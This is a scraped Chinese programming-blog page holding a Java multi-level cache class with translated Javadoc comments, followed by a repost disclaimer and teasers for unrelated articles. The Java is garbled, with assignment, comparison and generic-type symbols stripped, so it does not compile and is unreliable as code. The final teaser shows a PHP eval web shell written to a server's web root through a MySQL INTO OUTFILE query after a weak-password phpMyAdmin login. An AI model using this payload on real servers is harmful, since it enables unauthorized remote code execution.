CacheValueHolderV allResult c.GET_ALL(restKeys);if (allResult.isSuccess() allResult.getValues() ! null) {for (Map.EntryK, CacheGetResultCacheValueHolderV en : allResult.getValues().entrySet()) {K key en.getKey();CacheGetResult result en.getValue();if (result.isSuccess()) {CacheValueHolderV holder unwrapHolder(result.getHolder());checkResultAndFillUpperCache(key, i, holder);resultMap.put(key, new CacheGetResult(CacheResultCode.SUCCESS, null, holder));restKeys.remove(key);}}}}for (K k : restKeys) {resultMap.put(k, CacheGetResult.NOT_EXISTS_WITHOUT_MSG);}return new MultiGetResult(CacheResultCode.SUCCESS, null, resultMap);}/*** 在指定缓存中存储键值对。* * param key 键* param value 值* param expire 过期时间* param timeUnit 时间单位* return 缓存操作结果*/Overrideprotected CacheResult do_PUT(K key, V value, long expire, TimeUnit timeUnit) {return PUT_caches(caches.length, key, value, expire, timeUnit);}/*** 在所有缓存中批量存储键值对。* * param map 键值对映射* param expire 过期时间* param timeUnit 时间单位* return 缓存操作结果*/Overrideprotected CacheResult do_PUT_ALL(Map? extends K, ? extends V map, long expire, TimeUnit timeUnit) {CompletableFutureResultData future CompletableFuture.completedFuture(null);for (Cache c : caches) {CacheResult r;if(timeUnit null) {r c.PUT_ALL(map);} else {r c.PUT_ALL(map, expire, timeUnit);}future combine(future, r);}return new CacheResult(future);}/*** 在指定缓存层级存储键值对。* * param lastIndex 最后一个缓存索引* param key 键* param value 值* param expire 过期时间* param timeUnit 时间单位* return 缓存操作结果*/private CacheResult PUT_caches(int lastIndex, K key, V value, long expire, TimeUnit timeUnit) {CompletableFutureResultData future CompletableFuture.completedFuture(null);for (int i 0; i lastIndex; i) {Cache cache caches[i];CacheResult r;if (timeUnit null) {r cache.PUT(key, value);} else {r cache.PUT(key, value, expire, timeUnit);}future combine(future, r);}return new CacheResult(future);}/*** 合并多个CompletableFuture结果。* * param future 当前CompletableFuture* param result 新的缓存结果* return 合并后的CompletableFuture*/private CompletableFutureResultData combine(CompletableFutureResultData future, CacheResult result) {return future.thenCombine(result.future(), (d1, d2) - {if (d1 null) {return d2;}if (d1.getResultCode() ! d2.getResultCode()) {return new ResultData(CacheResultCode.PART_SUCCESS, null, null);}return d1;});}/*** 从缓存中移除指定键的条目。* * param key 键* return 缓存操作结果*/Overrideprotected CacheResult do_REMOVE(K key) {CompletableFutureResultData future CompletableFuture.completedFuture(null);for (Cache cache : caches) {CacheResult r cache.REMOVE(key);future combine(future, r);}return new CacheResult(future);}/*** 从缓存中移除指定键集合的条目。* * param keys 键集合* return 缓存操作结果*/Overrideprotected CacheResult do_REMOVE_ALL(Set? extends K keys) {CompletableFutureResultData future CompletableFuture.completedFuture(null);for (Cache cache : caches) {CacheResult r cache.REMOVE_ALL(keys);future combine(future, r);}return new CacheResult(future);}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/86874.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

免费cms网站如何在网站上做公示

/3使用Eclipse编写控制台应用程,使用do while循环处理从控制台接收不定数量的学生英语成绩, 统计不及格(小于60分)的成绩个数,大于等于90分的优秀成绩数量, 计算所有成绩的总分、平均分并输出相关统计结果到控制台/ import java.u…

深圳盐田网站建设crm客户管理软件

吊灯止损指标是由查克勒博(Chuck LeBeau)发明的,亚历山大埃尔德(Alexander Elder)在其著作《走进我的交易室》中介绍了这种止盈止损方法(中文版翻译为倒挂式离场法则),它是根据平均真实波幅ATR设置跟踪止损。吊灯止损指标的目的是…

西昌规划和建设局网站长沙网络营销公司哪家好

一、前言 数据获取是任何 react 应用程序的核心方面。对于 React 开发人员来说,了解不同的数据获取方法以及哪些用例最适合他们很重要。 但首先,让我们了解 JavaScript Promises。 简而言之,promise 是一个 JavaScript 对象,它将…

工商网站备案办法中国建设部门官方网站

代码开发工具: https://www.matools.com/ 前端开发网站: https://ui.bqrdh.com/#google_vignette 后端开发网站: https://javaguide.cn/ 设计模式分析: https://refactoringguru.cn/design-patterns/catalog

拓者吧室内设计网站门户网站维护

一、学习ConditionVariable之前的复习 如果你不懂wait()、notify()怎么使用,最好先复习下我之前的这篇博客,怎么使用wait()、notify()实现生产者和消费者的关系 java之wait()、notify()实现非阻塞的生产者和消费者 二、看下ConditionVariable源代码实现…

申请自助建站安徽茶叶网站建设

题目: 字符串里里面字符出现的次数和出现哪些不同的字符 such as 字符串“aaaabbbccd” 打印出出现a4次,b3次,c2次,d1次,出现的不同字符的字符串为“abcd”,或者按照规则打印字符串“4a3b2c1d” 代码: #include <stdio.h> #include <stdlib.h> #include &l…

空间排版设计网站添加图标wordpress

晚餐时间马上就到了&#xff0c;奶牛们还在各自的牧场中悠闲的散着步。 当农夫约翰摇动铃铛&#xff0c;这些牛就要赶回牛棚去吃晚餐。 在吃晚餐之前&#xff0c;所有奶牛都在自己的牧场之中&#xff0c;有些牧场中可能没有奶牛。 每个牧场都通过一条条道路连接到一个或多个…

企业是做app还是做网站免费建站网站一级123456

Autosar_BSW的Diagnostics功能 一、Autosar_BSW的Diagnostics功能 1、Diagnostics组件图 2、架构与术语解释 3、工作流程

网站建设与维护题库及答案企业进行网站建设的方式

stc8H驱动并控制三相无刷电机综合项目技术资料综合篇 🌿相关项目介绍《基于stc8H驱动三相无刷电机开源项目技术专题概要》 🔨停机状态,才能进入设置状态,可以设置调速模式,以及转动方向。 ✨所有的功能基本已经完成调试,目前所想到的功能基本已经都添加和实现。引脚利…

优惠券网站做代理怎么样免费设计图片软件

FROM_UNIXTIME()、UNIX_TIMESTAMP()和CONVERT_TZ()的64位支持 根据MySQL 8.0.28版本的更新&#xff0c;FROM_UNIXTIME()、UNIX_TIMESTAMP() 和 CONVERT_TZ() 函数现在在支持64位的平台上处理64位值。这包括64位版本的Linux、MacOS和Windows。在兼容的平台上&#xff0c;UNIX_T…

网站维护外包合同济宁做网站的公司

最后一公里&#xff0c;出自中国共产党十八大以来的新名词之一&#xff0c;指政策始终“走在路上”&#xff0c;服务始终“停在嘴上”&#xff0c;实惠没有真正“落在身上”的“末梢堵塞”问题。要让人民群众真正得实惠&#xff0c;就要切实解决好“最后一公里”问题。1、移动互…

企业还做网站吗桂林两江四湖景区

P2495 [SDOI2011]消耗战 代码 有的虚树建立好像把一些点没建&#xff0c;他们不用判断是否是关键点&#xff1b; il void push(int x) {if(t 1) {s[ t] x;return;}int l lca(x, s[t]); if(l s[t]) return; //这句话我没看懂&#xff0c;因该就是这&#xff0c;脑子好乱&a…

网站ui设计兼职做门面商铺比较好的网站

最近护眼台灯的热度真是不小&#xff0c;许多博主纷纷推荐。考虑到孩子即将放寒假&#xff0c;市场上的产品也是五花八门&#xff0c;于是我决定认真研究一下&#xff0c;找出其中的水货和宝藏产品。我挑选了市场上口碑较好的3款产品进行深入评估&#xff0c;主要从照度、显色指…

烟台网站建设学校网站开发需求描述

随着城市化进程的不断加速&#xff0c;地铁作为一种便捷、快速的城市交通方式&#xff0c;受到了越来越多人的青睐。地铁列车可视化&#xff0c;作为地铁运营管理中的一项重要工作&#xff0c;不仅可以提高列车运行效率和安全性&#xff0c;还可以为乘客提供更加舒适、便捷的乘…

做恒指网站陕西省交通建设集团网站

Java解决查找包含给定字符的单词 01 题目 给你一个下标从 0 开始的字符串数组 words 和一个字符 x 。 请你返回一个 下标数组 &#xff0c;表示下标在数组中对应的单词包含字符 x 。 注意 &#xff0c;返回的数组可以是 任意 顺序。 示例 1&#xff1a; 输入&#xff1a;…

网络营销管理商丘seo快速排名

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 ⚡开源项目&#xff1a; rich-vue3 &#xff08;基于 Vue3 TS Pinia Element Plus Spring全家桶 MySQL&#xff09; &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;正逐渐往全干发展 &#x1…

网站首页怎么做全屏swf建设大型网站设计公司

指针 指针是什么 数据在内存中存放的方式 声明一个变量int i 3;&#xff0c;那么在内存中就会分配一个大小为4字节&#xff08;因为int类型占4字节&#xff09;的内存空间给变量i&#xff0c;这块内存空间存放的数据就是变量i的值。 换句话说就是&#xff0c;在内存中给变…

网站被镜像怎么做重庆最新重大新闻

Python 安装与环境配置 1. Python 安装 版本推荐 3.10.0下载地址&#xff1a;www.python.org/downloads/w… 若需要安装旧版本&#xff0c;在页面下方选择对应版本即可&#xff0c;MacOS选择对应系统即可 图示下载windows 3.11.4版本 安装Python 执行安装程序&#xff0c;安…

合肥网站开发建设辽宁建网站

离线程序 https://gitcode.net/zengliguang/ky10_aarch64_openssl_install.git 输入下面命令执行离线安装脚本 source openssl_offline_install.sh 安装完成

上海网站建设咨询长沙市公司

文章目录 1、outfile写一句话2、general_log_file写一句话 通过弱口令拿到进到phpMyAdmin页面如何才能获取权限 1、outfile写一句话 尝试执行outfile语句写入一句话木马 select "<?php eval($_REQUEST[6868])?>" into outfile "C:\\phpStudy\\WWW\\p…